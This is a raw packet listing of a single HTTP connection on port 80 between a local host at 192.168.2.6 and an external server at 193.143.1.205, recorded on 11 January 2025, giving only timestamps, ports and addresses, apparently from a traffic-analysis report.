Jan 11, 2025 08:31:37.628832102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.628868103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.628899097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.628901958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.628914118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.642610073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.645098925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.645167112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.645201921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.645250082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.645250082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.645298004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.645350933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.645385981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.645762920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.656439066 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.659400940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.659460068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.659472942 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.659493923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.659528971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.659573078 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.659604073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.659637928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.659672022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.659703970 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.659707069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.659733057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.659740925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.659775019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.659809113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.659811974 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.659882069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.667028904 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.676428080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.676454067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.676470041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.676485062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.676502943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.676523924 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.676523924 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.676526070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.676542044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.676557064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.676597118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.676666975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.676681995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.676683903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.676697969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.676758051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.676784039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.676827908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.676873922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.676888943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.676944971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.677035093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.677051067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.677067041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.677082062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.677117109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.677117109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.677239895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.677263975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.677279949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.677331924 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.677431107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.677445889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.677459955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.677474976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.677479029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.677567005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.677771091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.677786112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.677802086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.677889109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.677889109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.677901983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.677917004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.677933931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.677949905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.677995920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.677997112 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.678147078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.678162098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.678175926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.678190947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.678204060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.678205967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.678220987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.678236008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.678248882 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.678250074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.678499937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.678499937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.678694010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.678709984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.678724051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.678750038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.678843021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.678864956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.678879976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.678895950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.678920031 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.678920031 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.678977013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.678992033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.679007053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.679022074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.679049969 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.679049969 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.679054022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.679069042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.679084063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.679100037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.679208994 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.679208994 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.679662943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.679677963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.679686069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.679773092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.679789066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.679804087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.679826021 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.679852009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.679857969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.679935932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.679950953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.680008888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.680025101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.680031061 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.680031061 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.680039883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.680053949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.680069923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.680084944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.680104971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.680104971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.680278063 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.680593014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.680608988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.680624008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.680711985 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.680746078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.680762053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.680775881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.680792093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.680795908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.680855989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.680876017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.680931091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.680983067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.680998087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.681013107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.681027889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.681042910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.681057930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.681075096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.681387901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.681387901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.681387901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.681493998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.681509972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.681581974 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.690551996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.701844931 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.715275049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.715308905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.715353012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.715378046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.715414047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.715444088 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.715447903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.715487957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.715508938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.715522051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.715557098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.715643883 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.731888056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.731923103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.731957912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.732019901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.732019901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.732076883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.732114077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.732150078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.732177973 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.732186079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.732256889 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.746279001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.746315002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.746350050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.746395111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.746428967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.746473074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.746473074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.746495962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.746530056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.746562004 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.746563911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.746598959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.746634960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.746638060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.746695995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.746747971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.746782064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.746817112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.746846914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.746850967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.746920109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.763220072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.763256073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.763289928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.763336897 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.763360977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.763396025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.763431072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.763436079 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.763463974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.763494968 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.763499975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.763534069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.763569117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.763607025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.763607025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.763653994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.763688087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.763720989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.763756037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.763820887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.763851881 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.763851881 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.763915062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.763948917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.763982058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.763987064 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.764015913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.764050961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.764082909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.764122009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.764122009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.764220953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.764255047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.764290094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.764322042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.764355898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.764360905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.764360905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.764394045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.764432907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.764559031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.764591932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.764626026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.764662027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.764698982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.764698982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.764704943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.764739990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.764775038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.764806986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.764821053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.764821053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.764902115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.764945984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.764949083 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.764997005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765031099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765054941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.765064955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765099049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765134096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765167952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765178919 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.765180111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.765204906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765275002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.765510082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765539885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765573025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765607119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765630007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.765640974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765647888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.765676022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765710115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765743017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765750885 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.765777111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765811920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765844107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765878916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765882015 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.765882015 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.765913010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.765947104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.765947104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.766016006 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.766026020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.766061068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.766097069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.766134977 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.777091980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777146101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777177095 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.777179956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777215004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777259111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.777268887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777301073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777338028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777367115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777451992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777467966 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.777467966 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.777484894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777496099 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.777520895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777554989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777587891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777590036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.777604103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777630091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777645111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777652025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.777664900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777678967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.777678967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777719975 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.777739048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777756929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777772903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.777801037 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.777832031 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.777889013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.793981075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.793999910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.794008970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.794017076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.794024944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.794136047 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.801911116 CET	80	49710	193.143.1.205	192.168.2.6
